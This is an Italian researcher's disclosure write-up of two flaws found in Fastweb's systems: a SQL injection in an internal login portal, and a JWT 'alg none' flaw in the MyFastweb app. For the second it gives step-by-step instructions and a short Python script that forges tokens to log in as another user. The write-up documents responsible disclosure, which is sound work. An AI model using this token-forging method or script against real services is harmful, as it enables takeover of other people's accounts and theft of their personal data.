<-- torna indietro

Fastweb: analisi di due vulnerabilità critiche scoperte nell'applicazione android MyFastweb e nel sito web www.fastweb.it


Indice


Introduzione

Fastweb S.p.A. è un’azienda italiana di telecomunicazioni specializzata nella telefonia terrestre e nelle connessioni a banda larga. Nel 2018 ha introdotto una responsible disclosure, dove i ricercatori di sicurezza vengono invitati a segnalare vulnerabilità nei sistemi mobile, hardware e web dell’azienda: https://www.fastweb.it/corporate/responsible-disclosure/

Il security team di Fastweb è stato molto cordiale e veloce sia nel rispondere alle email sia nel porre rimedio alle vulnerabilità segnalate.

Di seguito vengono riportate due vulnerabilità considerate “critiche”: una SQL Injection e una implementazione errata dei token di accesso JWT che consente l’accesso a qualsiasi account conoscendone l’username.

SQL Injection

L’SQL è un linguaggio che consente di interagire con i database ovvero di creare, modificare, eliminare ed estrarre dati salvati in esso. Queste operazioni vengono effettuate attraverso dei costrutti di programmazione, chiamati query. La pagina vulnerabile, presente sul dominio https://www.fastweb.it/, è stata scritta in PHP, un linguaggio di programmazione pensato per la costruzione di siti web dinamici e che consente di interagire con un database attraverso le query SQL. Un esempio può essere una query che estrae le informazioni di un utente loggato in un portale oppure una query che estrae l’indirizzo di tutti i negozi presenti in una città e così via.

Durante la fase di ricerca delle varie pagine appartenenti al dominio https://www.fastweb.it/ è stato individuato un portale interno, cioè non riservato al pubblico:

Solitamente, in questi casi, o si inseriscono credenziali di default (come ad esempio admin:admin o test:test o amministratore:amministratore e così via) oppure caratteri di escape (per semplicità verranno chiamati speciali) per verificare la presenza di una SQL injection. Provando a inserire le 100 combinazioni di credenziali di default più comuni non si ha alcun risultato; invece, provando a inserire caratteri speciali viene generato un errore del database:

In questo caso abbiamo una SQL injection in quanto i dati immessi dall’utente (nel campo username) vengono inseriti “direttamente” in una query SQL e poi eseguiti; per “direttamente” si intende che alcuni caratteri speciali (che hanno un significato ben preciso nel linguaggio SQL) non vengono filtrati prima di essere inseriti in una query. Per dimostrare la vulnerabilità è stato inserito un carattere che indica la fine di una query, infatti l’errore generato è relativo alla sintassi del costrutto non corretta.

Per avere un’ulteriore conferma è stato impiegato sqlmap configurato in modo tale da non estrarre informazioni confidenziali dal server:

Un attaccante potrebbe sfruttare questa vulnerabilità in diversi modi:

  • bypassare il login (abbastanza semplice da effettuare in caso di SQL injection) e accedere a dati riservati (accessibili solamente a chi dispone delle credenziali necessarie per accedere al portale);
  • modificare/creare/eliminare/accedere alle tabelle e alle colonne del database (e a eventuali altri database collegati);
  • effettuare una esecuzione remota di codice in modo tale da spostarsi all’intero della rete di Fastweb o scaricare file di configurazione o documenti confidenziali sfruttando:
    • i comandi forniti dal database per scrivere su file (se si hanno i permessi): SELECT …. INTO OUTFILE;
    • il bypass del login per cercare altre vulnerabilità come una inclusione/download di file o cercare un punto di upload per caricare una shell, vedi: https://it.wikipedia.org/wiki/Sicurezza_tramite_segretezza

Implementazione errata dei token di accesso JWT permette l’accesso a qualsiasi account conoscendone l’username

Il JSON WEB TOKEN (JWT) è uno standard definito in formato JSON che consente di scambiare informazioni fra diversi servizi o parti.

Quando viene eseguito un login, tradizionalmente, viene creata una sessione fra il server e il client, all’interno della quale viene memorizzato l’identificatore dell’utente. Questa operazione ha come obiettivo principale quello di recuperare le informazioni di autenticazione nelle successive chiamate.

In circostanze simili, cosa accadrebbe se utilizzassimo più server per bilanciare il carico del sito in questione? Se creassimo la sessione sul server A e successivamente il bilanciatore di risorse ci portasse sul server B, la sessione creata sul server A verrebbe persa (anche se si potrebbero creare altri meccanismi per condividere le sessioni).

Oggi i JWT sono utilizzati principalmente per autenticare le richieste nelle applicazioni web/mobile, in particolare quando queste si allacciano ad API, dove il client (l’utente) invia una richiesta di autenticazione al server, il quale genera un token firmato e lo restituisce al client che, da quel momento in poi, lo utilizzerà per autenticare le successive richieste.

Questo token è formato da 3 parti principali separate tutte da un punto ‘.’ e che sono:

  • header, che contiene due informazioni principali: la tipologia del token (esempio: JWT) e il tipo di algoritmo di criptazione utilizzato (ne esistono diversi tra cui, HS256, RS256, ES512 e none/null, che tradotti in italiano significano nessuno). Viene codificato in base64 prima di essere inviato al server;
  • payload, che contiene le informazioni che verranno processate dal server (qui viene dichiarato in maniera esplicita chi è l’utente loggato e altre informazioni relative all’utente). Viene codificato in base64 prima di essere inviato al server;
  • signature, ovvero una “firma” che verrà utilizzata dal server per ogni richiesta successiva affinchè possa verificare se il payload sia stato manomesso o meno. La signature viene creata dal server codificando l’header e il payload in base64, separandoli da un punto e criptando il tutto, utilizzando l’algoritmo di criptazione specificato nell’header con una “password segreta”, conosciuta solo ed esclusivamente dal server; ovviamente quest’ultimo, per ogni richiesta ricevuta, dovrà estrapolare il payload per individuare l’utente, ma prima dovrà verificare che il payload sia concorde con la firma.

Poichè il token contiene tutte le informazioni necessarie all’autenticazione (username o identificatore dell’utente), il server potrà evitare di passare ogni volta dal database per verificare a quale utente corrisponda quel token (ottimo per la scalabilità).

Senza bilanciamento del carico

Con bilanciamento del carico

Analisi della versione semplificata della vulnerabilità

Prendiamo come esempio il login effettuato da due utenti diversi, utente A e utente B, soffermandoci sui token generati:

  • l’header, che è uguale per tutti gli utenti (in questo caso VIENE utilizzato un algoritmo di criptazione, cioè non configurato a none/null);
  • il payload, che è formato dal nome utente e da altre informazioni (dove alcune di queste sono in comune fra i diversi utenti);
  • la firma, che cambia da utente a utente.

Login effettuato dall’utente A -> Token utilizzato:
xxxxx.yyutenteayy.zzzzz

Login effettuato dall’utente B -> Token utilizzato:
xxxxx.yyutentebyy.ppppp

L’utente A vuole accedere all’account dell’utente B per rubare i suoi dati, quindi l’utente A decodifica il payload del suo token e manomette i valori cambiando l’username dell’utente loggato da “yyutenteayy” a “yyutentebyy”; tuttavia questo non porterà a nessun risultato poichè l’utente A non conosce la firma dell’utente B:

L’utente A non può entrare nell’account dell’utente B cambiando semplicemente l’username -> Token utilizzato:
xxxxx.yyutentebyy.zzzzz

L’utente A sa che l’unico ostacolo è il controllo sulla firma e quindi potrebbe o tentare di effettuare un bruteforce della firma, ma impiegherebbe molto tempo (potenzialmente anche anni) oppure potrebbe trovare una falla nell’implementazione dei token di accesso JWT in modo tale che la firma non venga presa in considerazione dal server.

L’utente A ipotizza che il server non faccia nessun controllo sull’header, ciò significa che il server accetti tutti quei token che hanno nell’header un algoritmo di criptazione configurato a null/none.

L’utente A cambia l’header da “xxxxx” (dove l’algoritmo di criptazione era impostato fra HS256, RS256 e ES512) a “rrrrr” (dove l’algoritmo di criptazione è impostato a null/none). Così facendo, il server non rifiuterà il nuovo header, consentendo all’Utente A di manipolarlo affinché non verifichi la firma e, quindi, accetti tutti i tipi di token, indipendentemente dalla presenza di una firma valida o meno:

Login effettuato con l’algoritmo di criptazione impostato a none -> Token:
rrrrr.yyutenteayy.zzzzz

Login effettuato con l’algoritmo di criptazione impostato a none -> Token:
rrrrr.yyutenteayy.

L’utente A cambia il payload da “yyutenteayy” a “yyutentebyy” e invia la richiesta al server. L’utente A riesce quindi ad accedere ai dati dell’utente B:

Login effettuato con l’algoritmo di criptazione impostato a none -> Token:
rrrrr.yyutenteayy.

Analisi della vulnerabilità applicata a Fastweb

È possibile accedere a un account MyFastweb sia attraverso le credenziali di accesso (email e password), sia tramite l’accesso diretto. In quest’ultimo caso, una volta che l’utente si connette al modem Fastweb, sarà possibile accedere all’account MyFastweb associato all’abbonamento corrispondente senza la necessità di utilizzare email e password.

L’accesso diretto all’account può essere effettuato in due modi diversi: attraverso il sito web (dove i token JWT non vengono utilizzati) oppure attraverso l’applicazione mobile MyFastweb (Versione 3.2.8 del 18 Aprile 2019) che vede l’implementazione dei token JWT.

Avviando l’applicazione e iniziando a intercettare le richieste (cioè la comunicazione che avviene fra l’applicazione e i server della Fastweb) viene, in maniera predefinita, effettuato l’accesso diretto mediante una serie di operazioni:

  • l’applicazione invia informazioni relative al tipo di sistema operativo e alla versione dello stesso, dopodiché invia una richiesta che indica al server che si sta tentando di accedere in maniera diretta, cioè senza l’utilizzo di username e password;
  • il server invia all’applicazione il token JWT;

Oltre al token JWT viene inviato anche l’username dell’account legato all’abbonamento

  • il token JWT viene inviato al server che ci autentica nel portale; inoltre viene restituito favBillingAccount, un ID univoco associato in maniera permanente al nostro account;

Il server restituisce l’OK e il parametro favBillingAccount

  • fatto ciò, si possono reperire informazioni relative al nostro account come nome, cognome, email, numeri di cellulare, numero di casa, indirizzo di casa, fatture e così via.

Quando al server viene inviato un token non valido, cioè quando la firma non coincide con il payload, viene generato un messaggio di errore:

Utilizzerò, per dimostrare la vulnerabilità, il mio token JWT (per motivi di privacy le mie informazioni personali sono state sostituite con dei valori casuali):

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtpZCI6Im9yYWtleSJ9.eyJmdy5zc28uY2xhaW1zLmNsaWVudC5pcGFkZHJlc3MiOiIxMTEuMTExLjEuMTExIiwiZncuc3NvLmNsYWltcy5jbGllbnQubG9jYXRpb24iOiJob21lIiwiaXNzIjoibG9nb24uZmFzdHdlYi5pdCIsIm9yYWNsZS5vaWMudG9rZW4udHlwZSI6IlVTRVJUT0tFTiIsImZ3LnN zby5jbGFpbXMudXNlci5ndWlkIjoic3VhaWFkaWpzZGlqYXNpamFzZCIsImlhdCI6OTk5OTk5OTk5OTk5OTk5OSwib3JhY2xlLm9hdXRoLnBybi5pZF90eXBlIjoiTERBUF9VSUQiLCJvcmFjbGUub2F1dGgudGtfY29udGV4dCI6InVzZXJfYXNzZXJ0aW9uIiwiZXhwIjo5OTk5OTk5OTk5OTk5OTk5LCJhdWQiOiJsb2dvbi5mYXN0d2ViLml0IiwicHJ uIjoidXRlbnRlQSIsImp0aSI6Inh4eHh4LXl5eXl5eXl5LXp6enp6enp6enp6enotYWFhYWFhYWFhYWEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uYXV0aG5sZXZlbCI6IjEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uc2NvcGUiOiJmdWxsIiwib3JhY2xlLm9pYy50b2tlbi51c2VyX2RuIjoiY249MTExMTExMTExLG91PVJFUyxjbj1Vc2VycyxvdT1GV0NTVCxkYz1mYXN0d2ViLGRjPWxvY2FsIn0=.VQPVFiEACnVzZXJfimoH_EVFiBojDUJDQIPwa9XJfYXNc0pduaHSTRC-CdSh_dsypZXNza9oIPEVFig2h8dndnVzZXs0G_EypZa9oIcaW9uFiPEcANs0soa-ba9oICBFenLmF1dGhuNbY7YYfLUXN

Come detto prima, l’header, il payload e la signature sono separati da un punto, quindi dividendo il token in tre parti si ottiene:

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtpZCI6Im9yYWtleSJ9 -> Header

eyJmdy5zc28uY2xhaW1zLmNsaWVudC5pcGFkZHJlc3MiOiIxMTEuMTExLjEuMTExIiwiZncuc3NvLmNsYWltcy5jbGllbnQubG9jYXRpb24iOiJob21lIiwiaXNzIjoibG9nb24uZmFzdHdlYi5pdCIsIm9yYWNsZS5vaWMudG9rZW4udHlwZSI6IlVTRVJUT0tFTiIsImZ3LnNzby5jbGFpbXMudXNlci5ndWlkIjoic3VhaWFkaWpzZGlqYXNpamFzZCIsImlhdCI6OTk5OTk5OTk5OTk5OTk5OSwib3JhY2xlLm9hdXRoLnBybi5pZF90eXBlIjoiTERBUF9VSUQiLCJvcmFjbGUub2F1dGgudGtfY29udGV4dCI6InVzZXJfYXNzZXJ0aW9uIiwiZXhwIjo5OTk5OTk5OTk5OTk5OTk5LCJhdWQiOiJsb2dvbi5mYXN0d2ViLml0IiwicHJuIjoidXRlbnRlQSIsImp0aSI6Inh4eHh4LXl5eXl5eXl5LXp6enp6enp6enp6enotYWFhYWFhYWFhYWEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uYXV0aG5sZXZlbCI6IjEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uc2NvcGUiOiJmdWxsIiwib3JhY2xlLm9pYy50b2tlbi51c2VyX2RuIjoiY249MTExMTExMTExLG91PVJFUyxjbj1Vc2VycyxvdT1GV0NTVCxkYz1mYXN0d2ViLGRjPWxvY2FsIn0= -> Payload

VQPVFiEACnVzZXJfimoH_EVFiBojDUJDQIPwa9XJfYXNc0pduaHSTRC-CdSh_dsypZXNza9oIPEVFig2h8dndnVzZXs0G_EypZa9oIcaW9uFiPEcANs0soa-ba9oICBFenLmF1dGhuNbY7YYfLUXN -> Signature o firma

Decodificando da base64 l’header e il payload (la signature non può essere decodificata in quanto abbiamo bisogno della “password segreta”) otteniamo:

{"alg":"RS512″,"typ":"JWT","kid":"orakey"} -> Header (da notare che qui viene utilizzato l’algoritmo di criptazione RS512, non null/none)

{"fw.sso.claims.client.ipaddress":"111.111.1.111″,"fw.sso.claims.client.location":"home" ,"iss":"logon.fastweb.it","oracle.oic.token.type":"USERTOKEN","fw.sso.claims.user.guid": "suaiadijsdijasijasd","iat":9999999999999999,"oracle.oauth.prn.id_type":"LDAP_UID","orac le.oauth.tk_context":"user_assertion","exp":9999999999999999,"aud":"logon.fastweb.it","p rn":"utenteA","jti":"xxxxx-yyyyyyyy-zzzzzzzzzzzzz- aaaaaaaaaaa","fw.sso.claims.session.authnlevel":"1″,"fw.sso.claims.session.scope":"full" ,"oracle.oic.token.user_dn":"cn=111111111,ou=RES,cn=Users,ou=FWCST,dc=fastweb,dc=local"} -> Payload, modificato in modo tale da non esporre i miei dati personali. Il parametro su cui si basa l’individuazione dell’utente è prn.

Per poter sfruttare questa vulnerabilità occorre:

  • intercettare il token JWT la prima volta che viene inviato al server (punto 4 nella lista delle operazioni effettuate durante il login);
  • decodificare l’header e il payload;
  • cambiare il parametro alg nell’header da RS512 a none;
  • cambiare il parametro prn con l’username dell’account con il quale si vuole autenticare (l’account dell’utente B facendo riferimento agli esempi di prima);
  • codificare nuovamente l’header e il payload;
  • inviare quindi la richiesta al server che ci autentica con l’username specificato nel parametro prn.

Per svolgere le operazioni di decodifica, modifica e codifica in maniera automatica ho creato uno script in Python:

# Uso:
# python3 forge.py tokenbase64 usernameattaccante usernamevittima


# Importa i moduli necessari al funzionamento dello script
import base64
import sys

# Acquisici e salva, nelle rispettive variabili, l'header e il body del token; effettua la decodifica base64
header = str(base64.b64decode(sys.argv[1].split(".")[0]), 'utf-8')
body = str(base64.b64decode(sys.argv[1].split(".")[1] + "=="), 'utf-8')

# Cambia l'algoritmo di criptazione da RS512 a null
newheader = base64.b64encode(bytes(header.replace("RS512", "null"), 'utf-8'))
# Cambia l'username dell'attaccante con quello della vittima
newbody = base64.b64encode(bytes(body.replace(sys.argv[2], sys.argv[3]), 'utf-8'))

# Stampa il token da utilizzare
print(str(newheader, "utf-8") + "." + str(newbody, "utf-8") + "." "JUNK")

Esecuzione dello script:

Viene generato un nuovo token con l’username impostato a “admin” (che è inesistente, dato che gli username di Fastweb seguono uno schema determinato: nome.cognome.xxxx, dove xxxx parte da 0000 e arriva fino a 9999; la parte numerica viene usata per distinguere gli omonimi) e questo è il risultato ottenuto:

Come possiamo notare il sistema cerca il nostro username nel database.

È stato utilizzato un account inesistente in quanto accedere ai dati di un altro utente è violazione di privacy.

Considerazioni finali

Il giorno successivo alla consegna dei dettagli relativi alla vulnerabilità ho ricevuto una email di conferma.

Di seguito viene riportata la comunicazione di Fastweb che avvisa della chiusura dell’accesso diretto (l’url della pagina è https://fastweb.it/myfastweb/comunicazioni/chiusura-accesso-diretto/?from=sms):

Questo invece è l’SMS che è stato inviato, nel mese di Settembre del 2019, ai numeri di cellulare ai quali è intestato l’abbonamento Fastweb: